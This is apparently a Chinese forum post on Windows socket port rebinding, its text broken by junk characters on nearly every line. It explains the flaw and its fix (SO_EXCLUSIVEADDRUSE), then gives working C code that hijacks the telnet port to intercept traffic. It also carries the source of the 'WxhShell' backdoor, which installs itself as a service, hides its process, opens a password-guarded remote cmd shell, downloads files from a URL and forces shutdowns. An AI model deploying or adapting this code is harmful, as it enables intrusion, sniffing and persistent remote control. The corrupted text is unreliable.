在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iFDQnt
[t s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
#Gg^fm 'x18F#g
saddr.sin_family = AF_INET;
+_ G'FD U
*I52$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
N4}h_mh^' woR)E0'qx bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4%]{46YnK T-x`ut7c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
qxrOfsh S_WY91r 这意味着什么?意味着可以进行如下的攻击:
oC?b]tzj #?,cYh+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
']rh0? :@3d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6Q>w\@lF oJR!0nQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?O3G ~/Ry=8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+tA rH
C] 9wwvh'T&NK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
,onv
` ~KNxAxyVi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3&zmy'b*: f2Slsl; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C[Fh^ zZ wD)p?_g #include
CkflEmfe #include
#&/*ll) #include
-^Lj~O #include
:kUH>O DWORD WINAPI ClientThread(LPVOID lpParam);
VEn%_9(] int main()
q)vD "{0. {
IaJ(T>"+ WORD wVersionRequested;
un/R7" DWORD ret;
~cez+VQe WSADATA wsaData;
.Q#Eb %% BOOL val;
Q2 edS| SOCKADDR_IN saddr;
-yAIrvO1q SOCKADDR_IN scaddr;
W"0 # int err;
OkQSqL SOCKET s;
*GDU=D} SOCKET sc;
V]8fn MH int caddsize;
*V\kS HANDLE mt;
1jF}g`At DWORD tid;
4+~+`3;~v wVersionRequested = MAKEWORD( 2, 2 );
yA_d${n err = WSAStartup( wVersionRequested, &wsaData );
0O:TKgb&C. if ( err != 0 ) {
)I<.DN& printf("error!WSAStartup failed!\n");
Jw^+t)t return -1;
V:+}]"yJ, }
xtnB:3 saddr.sin_family = AF_INET;
'(Bs<)(H 7+fik0F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
`#UTOYx4 N,O[pTwj saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[J]; saddr.sin_port = htons(23);
vxm`[s |QC if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Du{]r[[C {
N;w1f"V} printf("error!socket failed!\n");
8sIGJ|ku return -1;
Gmwn: }
`rcjZ^n val = TRUE;
H;CGLis //SO_REUSEADDR选项就是可以实现端口重绑定的
UFl*^j_)] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B%t^QbU #\ {
2#&K3v printf("error!setsockopt failed!\n");
Fivv#4YO return -1;
U8c0C/ }
g5"g,SFGr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z4e?zY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
dYsqF
3f //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\i&yR]LF yJrPb" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$W2g2[+ {
JrQN-e! ret=GetLastError();
s)N1@RBR printf("error!bind failed!\n");
7OZs~6( return -1;
E*ic9Za8`h }
9-@w(kMu listen(s,2);
_S[H:b$? while(1)
(u*]&yk {
rd"]$_P8O caddsize = sizeof(scaddr);
I?PKc'b //接受连接请求
GM%|mFqeu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
]juXm1)>W1 if(sc!=INVALID_SOCKET)
aB Yhk|Ei {
+ ]__zm/^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6Ym[^U if(mt==NULL)
JvUKfsn u{ {
&x;nP 6mV printf("Thread Creat Failed!\n");
,Bta) break;
ZNUV Bi }
0>'1|8+`(z }
YcGqT2oLP CloseHandle(mt);
=thgNMDm" }
tQ)8HVKF closesocket(s);
e"bF"L WSACleanup();
-1{N#c/U return 0;
5|Y4GQVz }
b+C>p2 % DWORD WINAPI ClientThread(LPVOID lpParam)
dv,8iOL {
k&**f_b SOCKET ss = (SOCKET)lpParam;
|%tR#!&[:g SOCKET sc;
$0 li"+ unsigned char buf[4096];
[qy@g5` SOCKADDR_IN saddr;
A>PM'$"sT long num;
*L^{p.K4 DWORD val;
=tP|sYR]^ DWORD ret;
)sL:iGU //如果是隐藏端口应用的话,可以在此处加一些判断
mg;qG@? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qV^H vZJ saddr.sin_family = AF_INET;
J0>Q+Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
XGUF9arN saddr.sin_port = htons(23);
j{HxX if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:&a|8Wi[W {
RJWlG'i printf("error!socket failed!\n");
('gjfl return -1;
MAR;k?d }
:+;F" _ val = 100;
|e9}G,1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h?TE$&CL? {
YZoudX'" ret = GetLastError();
KavRW.w return -1;
3QF!fll^ }
q/Gy&8
K if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[<%yU y {
u54+oh|,M ret = GetLastError();
$;@s
return -1;
l"MEX/ }
K=~h1qV: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
b\^.5SEw {
/fD)/x printf("error!socket connect failed!\n");
r)b`3= closesocket(sc);
nyMA%9,B closesocket(ss);
>#kzPYsp return -1;
eAl&[_o|S }
#fFEo)YG while(1)
6IvLr+I {
^+P]_< 43 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]v lQNd? //如果是嗅探内容的话,可以再此处进行内容分析和记录
2V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I*24%z9 num = recv(ss,buf,4096,0);
:H?p^d
e if(num>0)
p?!]sO1l send(sc,buf,num,0);
r3KV.##u, else if(num==0)
*m|]c4 break;
E]gKJVf9[ num = recv(sc,buf,4096,0);
beq)Frn^ if(num>0)
}
HvVL}7 send(ss,buf,num,0);
H_$"]iQ else if(num==0)
31_5k./ break;
r%o!P` }
#-kyZ closesocket(ss);
?G3OAx?< closesocket(sc);
;hKn$' ' return 0 ;
MBa/-fD }
PvA%c<z i%z}8GIt' AQFx>:in ==========================================================
KcSvf;sx (K2 p3M^ 下边附上一个代码,,WXhSHELL
#!5GGe{I ."h;H^5 ==========================================================
B[Tw0rQ
0.Iw/e #include "stdafx.h"
Gud!(5' f[%iRfUFw #include <stdio.h>
m=n
V$H #include <string.h>
PCFm@S@Q #include <windows.h>
#}A!Bk #include <winsock2.h>
{~=[d`t #include <winsvc.h>
FS20OD #include <urlmon.h>
=,(Ba' 3kJAaI8 #pragma comment (lib, "Ws2_32.lib")
R!,RZ?|v #pragma comment (lib, "urlmon.lib")
,>Yz1P)L ah}aL7dgO #define MAX_USER 100 // 最大客户端连接数
^beW*O! #define BUF_SOCK 200 // sock buffer
xxedezNko #define KEY_BUFF 255 // 输入 buffer
kDm=Cjxv z~X] v["d #define REBOOT 0 // 重启
K7y}R%QF #define SHUTDOWN 1 // 关机
a#mdD:,cF $+rdzsf)+/ #define DEF_PORT 5000 // 监听端口
.Wb), Xe*
L^8+ #define REG_LEN 16 // 注册表键长度
mWigy`V^~ #define SVC_LEN 80 // NT服务名长度
V#Wd 'r'uR5jR // 从dll定义API
.!Z.1:YR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=si<OB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
x-q er- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v|`)~"~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J|K~a?&vN
D@0eYX4s // wxhshell配置信息
JM M\ struct WSCFG {
VNMhtwmK, int ws_port; // 监听端口
jCy2bE char ws_passstr[REG_LEN]; // 口令
%5uuB4P&|$ int ws_autoins; // 安装标记, 1=yes 0=no
)~WxNn3rx char ws_regname[REG_LEN]; // 注册表键名
8IVKS> char ws_svcname[REG_LEN]; // 服务名
5[I9/4, char ws_svcdisp[SVC_LEN]; // 服务显示名
H p1cVs char ws_svcdesc[SVC_LEN]; // 服务描述信息
; xs?^N| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|_2O:7qe int ws_downexe; // 下载执行标记, 1=yes 0=no
1 iE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lv{Qn~\y& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
n2TvPt\ ^%C.S : };
[]u!piW ,. E:mm // default Wxhshell configuration
3J@#V ' struct WSCFG wscfg={DEF_PORT,
IoA"e@~t "xuhuanlingzhe",
ofN|%g / 1,
##FN0|e& "Wxhshell",
! 5[?n3 "Wxhshell",
E|Z Y2&J`4 "WxhShell Service",
eyy&JjVs "Wrsky Windows CmdShell Service",
gBrIqM i5 "Please Input Your Password: ",
ZL-@2ZU{1 1,
dp+wwNe "
http://www.wrsky.com/wxhshell.exe",
(z"Cwa@e "Wxhshell.exe"
>yT:eG };
=WN6Fj` JP[BSmhAV // 消息定义模块
kkqrlJO| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
N>@AsI char *msg_ws_prompt="\n\r? for help\n\r#>";
F-2HE><+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Oa*/jZjr char *msg_ws_ext="\n\rExit.";
KaO8rwzDN char *msg_ws_end="\n\rQuit.";
zQ7SiRt7* char *msg_ws_boot="\n\rReboot...";
_a c_8m char *msg_ws_poff="\n\rShutdown...";
Fnr*.k char *msg_ws_down="\n\rSave to ";
,A_itRHH G;,2cu
K char *msg_ws_err="\n\rErr!";
kigc+R char *msg_ws_ok="\n\rOK!";
qk<tLvD_' Th@L68 char ExeFile[MAX_PATH];
yzXwxi1# int nUser = 0;
l=kgRh HANDLE handles[MAX_USER];
Dx iCq(; int OsIsNt;
0PTB3- *USZ2|i SERVICE_STATUS serviceStatus;
RU#Q<QI( SERVICE_STATUS_HANDLE hServiceStatusHandle;
2\m+ gpO@xk$ // 函数声明
!a?o9<V int Install(void);
3WaYeol` int Uninstall(void);
~Ge-7^Fo7 int DownloadFile(char *sURL, SOCKET wsh);
5$N4<Lo7 int Boot(int flag);
.XS rLb? void HideProc(void);
TN` pai0 int GetOsVer(void);
jtl7t59R int Wxhshell(SOCKET wsl);
l HZf'P_Wx void TalkWithClient(void *cs);
o#E
z_D[ int CmdShell(SOCKET sock);
-rU *)0PR int StartFromService(void);
<udp:s3#T int StartWxhshell(LPSTR lpCmdLine);
AvhmN5O= 3wa }p^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$zDW)%nAX VOID WINAPI NTServiceHandler( DWORD fdwControl );
~)WE <r9J+xh*p // 数据结构和表定义
DUY#RJf SERVICE_TABLE_ENTRY DispatchTable[] =
!AP|ozkL {
H.Pts>3r( {wscfg.ws_svcname, NTServiceMain},
2<U5d` {NULL, NULL}
~vG~Z*F };
!)
LMn XKMJsEPsW // 自我安装
t3G%}d? int Install(void)
v@< "b U {
FWPkvL char svExeFile[MAX_PATH];
#2Mz.=#G HKEY key;
YAd.i@^ strcpy(svExeFile,ExeFile);
aS:17+! 82>zu} // 如果是win9x系统,修改注册表设为自启动
~9 K4]5K- if(!OsIsNt) {
7nfQ=?XNK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=7#)8p[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
M="%NxuS RegCloseKey(key);
c5^i5de if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
4B!]%Mw;c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BL,YJM(y RegCloseKey(key);
)%WS(S>8 return 0;
Fb[<YX" }
tNfku }
N\ GBjr-d }
Qz[~{-< else {
dIMs{! P2 f~sx9 // 如果是NT以上系统,安装为系统服务
A+:K!|w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Rnun() plJ if (schSCManager!=0)
D55dD> {
eDIjcZ SC_HANDLE schService = CreateService
~99Ta]U (
fs7JA=?: schSCManager,
>.QD:_@: wscfg.ws_svcname,
sd.:PE < wscfg.ws_svcdisp,
,SS@]9A& SERVICE_ALL_ACCESS,
ow%s_yV]R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
F5{~2~Cw( SERVICE_AUTO_START,
zgqe@;{ SERVICE_ERROR_NORMAL,
8[
:FU svExeFile,
A+NLo[swwu NULL,
D",ZrwyJ NULL,
J'Gn M?M NULL,
ka*VQXk* NULL,
Up)b;wR NULL
nA5v+d-<T );
)T
3y ,* if (schService!=0)
d v" {
x)nBy)< CloseServiceHandle(schService);
lOcvRF CloseServiceHandle(schSCManager);
/dBQ*f5 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
V#C[I~l strcat(svExeFile,wscfg.ws_svcname);
i%v^Zg&FU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
R&=Y7MfZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
44($a9oa2 RegCloseKey(key);
N2xgyKy~ return 0;
7@|(z:uw }
ATH0n>) }
cfa#a!Y4 CloseServiceHandle(schSCManager);
k
h#|`E#, }
9:4P7 }
x1?p+ ?Tt/,Hl?D return 1;
2t/ba3Rfk }
xlv:+ A:&
`oJl // 自我卸载
lg;`I tX] int Uninstall(void)
(Q\QZu@ {
Y Q3%vH5#y HKEY key;
HFvhrG nEyPNm) if(!OsIsNt) {
D("['`{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FHqa|4Ie RegDeleteValue(key,wscfg.ws_regname);
UYGl RegCloseKey(key);
5qR76iH)/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,5H$Tm,6\S RegDeleteValue(key,wscfg.ws_regname);
ayHI(4!$j RegCloseKey(key);
|]Pigi7y- return 0;
<`~]P$ }
"EQ}xj }
h$4V5V }
x(}@se else {
6D_4o&N ;m@>v?zE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
c{s<W}3Ds if (schSCManager!=0)
`p*7MZ9- {
mWta B>f SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
31<hn+pE& if (schService!=0)
u,4,s[ {
,TeDJ\k if(DeleteService(schService)!=0) {
_nOio ? CloseServiceHandle(schService);
_Ev"/% CloseServiceHandle(schSCManager);
X*}S(9cg\i return 0;
JxNjyw }
M'R^?Jjb CloseServiceHandle(schService);
qm@c[b }
> ")%4@ CloseServiceHandle(schSCManager);
C[_{ $j(J }
|#f
P8OK }
Z:)\j. 7Ja^d-F7 return 1;
DTAEfs!ZW }
at
]Lz_\ qA
Jgz7=c // 从指定url下载文件
d cYUw] int DownloadFile(char *sURL, SOCKET wsh)
0'c<EJ {
=HYMX"s HRESULT hr;
d\'M ~VQ char seps[]= "/";
rS{Rzs^@ char *token;
nRb#M char *file;
_H<ur?G char myURL[MAX_PATH];
@fPiGu`L char myFILE[MAX_PATH];
2p(K0PtX OBF5Tl4 strcpy(myURL,sURL);
oC>^V5 token=strtok(myURL,seps);
#oJ9BgDry while(token!=NULL)
i!ejK6Q {
r]kLe2r:B file=token;
1!0BE8s"@ token=strtok(NULL,seps);
~KHp~Xs` }
J[RQF54qA{ O9:vPbn GetCurrentDirectory(MAX_PATH,myFILE);
F~)xZN3= strcat(myFILE, "\\");
qf(!3 strcat(myFILE, file);
G{YJ(6etZ send(wsh,myFILE,strlen(myFILE),0);
Bn-%).-ED send(wsh,"...",3,0);
Zb<DgJ=3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
SN\;&(?G if(hr==S_OK)
=DcKHL(m return 0;
P;mmK&& else
)7*Apy==x return 1;
f)?s.DvUB po\Q Me }
cQS}pQyYN AIN_.=]"? // 系统电源模块
~^KemwogPN int Boot(int flag)
/8Ca8Ju {
f\2'/g}6a HANDLE hToken;
'~<D[](/F TOKEN_PRIVILEGES tkp;
*"q ~z "a>%tsl$K if(OsIsNt) {
QR\qGhQ~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
=Q[5U9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Go+f0aig tkp.PrivilegeCount = 1;
enDjP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
| t3_E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"&77`R if(flag==REBOOT) {
US@ak4Y6Z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
p`T7Y\\#! return 0;
.2Y"=|NdA }
cuW$%$F else {
$*`fn{2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`?2S4lN/ return 0;
W29@`93 }
;_1D-Mf }
:&9#p%/ else {
Wd3/Y/MD if(flag==REBOOT) {
y*2:(nI if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
KR?-< return 0;
(VU: &. }
;~tKNytD`B else {
HwiG~'Ah9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
SI4M<'fK return 0;
o%RyE]pw, }
7K%Ac }
svHs&v $:{uF# return 1;
]M-j_("& }
z;2kKQZm NIQNzq?a^ // win9x进程隐藏模块
f0O"Hm$Z void HideProc(void)
lk)38. {
nH/V2>Lm 1vx:`2 A4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9p9:nx\ if ( hKernel != NULL )
eM*@}3 {
u01x}Ff~6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
tg7%@SI5^- ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
doW_vu FreeLibrary(hKernel);
5O]ph[7 }
at/bes W I[c/)
N return;
T%VC$u4F }
C8e{9CF CRw.UC\ // 获取操作系统版本
6zaO$ int GetOsVer(void)
ZdY:I;)s {
0\k2F,:%4 OSVERSIONINFO winfo;
"!+q0l1]@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
p*8=($j4 GetVersionEx(&winfo);
?2E@)7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
XSpX6fq return 1;
d+\o>x|Y!Y else
K*d+pImrV return 0;
Vyf r>pgW1 }
G ZDyw9 8I$>e ( // 客户端句柄模块
*/u_RJ int Wxhshell(SOCKET wsl)
_RST[B.u6 {
zL+jlUkE
SOCKET wsh;
Gh>Rt=Qu% struct sockaddr_in client;
~Yb5FYE DWORD myID;
|zKFF?7#wE `DUMTFcMX while(nUser<MAX_USER)
,KdDowc {
;vy" i int nSize=sizeof(client);
f)Z$,& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9h9 jS~h if(wsh==INVALID_SOCKET) return 1;
6`J*{%mP ;1'X_tp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>DP9S@W if(handles[nUser]==0)
LD0x 4zm$m closesocket(wsh);
Uz} #. else
AU OL?st nUser++;
AD_")_B|i }
zN:VT& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
bzF>Efza -B* = V return 0;
;%0$3a }
&z+nNkr?yN +? E~F // 关闭 socket
6k|o<`~, void CloseIt(SOCKET wsh)
*%=BcV+, {
|a*VoMZ closesocket(wsh);
bqWo*>l nUser--;
)+OI} ExitThread(0);
+C' u!^) }
.D!0$W mOZ iqreIMWz // 客户端请求句柄
TwH%P2)x void TalkWithClient(void *cs)
SIYBMe {
YC8wo1;Y! "v@Y[QI SOCKET wsh=(SOCKET)cs;
NTbmI$( char pwd[SVC_LEN];
]bLI!2Kr char cmd[KEY_BUFF];
u!hY
bCB char chr[1];
1hp`.!3]H int i,j;
?#YheML? :PE{2* while (nUser < MAX_USER) {
Qz=F
nR WYSqnmi if(wscfg.ws_passstr) {
opU=49b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|r>+\" X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7 XE&[o //ZeroMemory(pwd,KEY_BUFF);
NvW`x i=0;
6<u=hhL while(i<SVC_LEN) {
[ uU"=H| AJ}QS?p8s // 设置超时
B52n'. fd_set FdRead;
mvgsf(a*' struct timeval TimeOut;
Tsch:r S FD_ZERO(&FdRead);
n=J~Rssp FD_SET(wsh,&FdRead);
(H5nz': TimeOut.tv_sec=8;
b
5<&hN4g TimeOut.tv_usec=0;
8eq*q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
zisf8x7^W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DA]<30w (VV5SvdE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6
<XQ'tM]N pwd
=chr[0]; o&0fvCpW
if(chr[0]==0xd || chr[0]==0xa) { ;-sZaU;
pwd=0; FjR/_GPo6
break; E6JfSH#
} 5.! OC5tO
i++; -<H\VT%98
} bi/ AQ^
FnxPM`Zx
// 如果是非法用户,关闭 socket )Q= EmZbJz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [$M=+YRHMW
} K)b@,/ 5
K</EVt,U~
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mh#NmW>n
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &n$kVNE
Iue}AGxu:{
while(1) { epN>;e z
!iv6k~.e'2
ZeroMemory(cmd,KEY_BUFF); _|+}4 ap
sjGy=d{:oL
// 自动支持客户端 telnet标准 vz6No%8X
j=0; 4fauI%kc
while(j<KEY_BUFF) { E{s p
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ix:S$
cmd[j]=chr[0]; YYNh|
2
if(chr[0]==0xa || chr[0]==0xd) { bUvVt3cm
cmd[j]=0; Z5/*iun
break; ,Tp:. "
} tV?-
j++; *.%z
} +@] ,JlYf
m.F}9HI%hN
// 下载文件 GdN9bA&,
if(strstr(cmd,"http://")) { E? lK(C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {g9*t}l4
if(DownloadFile(cmd,wsh)) 1.24ZX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y"H'BT!b}
else ^^,cnDlm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u00w'=pe)
} Ic2Q<V}oq
else { /cHUqn30a
\k4tYL5
switch(cmd[0]) { JuW"4R
Gh%R4)}
// 帮助 tTEw"DL_-
case '?': { =csh=V@s
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H4B|c42
break; F$/7X~*
} f \ E9u}
// 安装 B]2m(0Y>>v
case 'i': { H 48YX(HI
if(Install()) 5Ve`j,`=<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hGU
m7
else cN% r\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1;v,rs M
break; L|hELWru
} '4KN
// 卸载 'p FK+j
case 'r': { c,CcKy;+
if(Uninstall()) <)$&V*\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jOUM+QO
else F(O"S@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Y?)?
break; bG)EZ
} o$QC:%[#
// 显示 wxhshell 所在路径 s(Y2]X4
(
case 'p': { `cQAO1-5
char svExeFile[MAX_PATH]; 'VpzB
s#
strcpy(svExeFile,"\n\r"); ]l7 r M"
strcat(svExeFile,ExeFile); ~nJ"#Q_T
send(wsh,svExeFile,strlen(svExeFile),0); k"3@G?JY
break; ;!S i_b2
} a yYl3
// 重启 jn
+*G<NJ
case 'b': { vpq"mpfkh
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _-|/$ jZ
if(Boot(REBOOT)) _u3%16,o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2P/ Sq
else {
F/SYmNp
closesocket(wsh); R ;k1(p
ExitThread(0); VUon>XQ
G
} %i6/=
'u
break; EtnuEU
} l{I.l
// 关机 /IQ$[WR cx
case 'd': { |&"/u7^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6t\0Ui
if(Boot(SHUTDOWN)) !J&UO/q.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2BKiA[
;;
else { kyi"U A82
closesocket(wsh); +iqzj-e&e[
ExitThread(0); 1B#iJZ}
} J#IVu?B
break; z6*r<>Bf+b
} ^
Paf -/
// 获取shell B&QEt[=s
case 's': { 6&+}Hhe
CmdShell(wsh); 0.\}D:x(z
closesocket(wsh); x)jc
ExitThread(0); ?8qN8rk^+
break; K=!
C\T"I%
}
:yw8_D3
// 退出 "!Qi$ ]
case 'x': { b@S~
=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7{tU'`P>
CloseIt(wsh); wg+[T;0 S
break; j#~ S"t
} ov<vSc<u
// 离开 O7]kcA
case 'q': { @Q7^caG
send(wsh,msg_ws_end,strlen(msg_ws_end),0); U3jnH
closesocket(wsh); H|S hi /
WSACleanup(); 2:@,~{`#*
exit(1); OI_Px3)
y
break; Co,?<v=Ll
} -mP2}BNM
} 5)Z:J
} 'rNLh3
Wf3{z
D~
// 提示信息 cA+T-A]
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ef7 BG(
} wV\7
} Mtl`A'KQ/K
AC\y|X8-
return; o5['5?i} /
} ;eJ|)*
:%gM
Xsb
// shell模块句柄 $ y(Qdb
int CmdShell(SOCKET sock) K5RgWP
{ ]s0GAp"
STARTUPINFO si; 194n
ZeroMemory(&si,sizeof(si)); O2":)zU.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z6Fl$FFP
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /2''EF';
PROCESS_INFORMATION ProcessInfo; 1,Es'
char cmdline[]="cmd"; Ey.%:
O-Dv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KjMwrMgC
return 0; n<P&|RTZ
} qm<-(Qc(W
R|k:8v{V=
// 自身启动模式 P v=]7>e
int StartFromService(void) f9OY>|a9
{ Y[|9
+T
typedef struct ahdwoB
{ 2%v6h
DWORD ExitStatus; p' 6h9/
DWORD PebBaseAddress; 6B]i}nFH{+
DWORD AffinityMask; f,kV
DWORD BasePriority; >7)QdaB
ULONG UniqueProcessId; rmi&{o:
ULONG InheritedFromUniqueProcessId; R_9M-RP6*
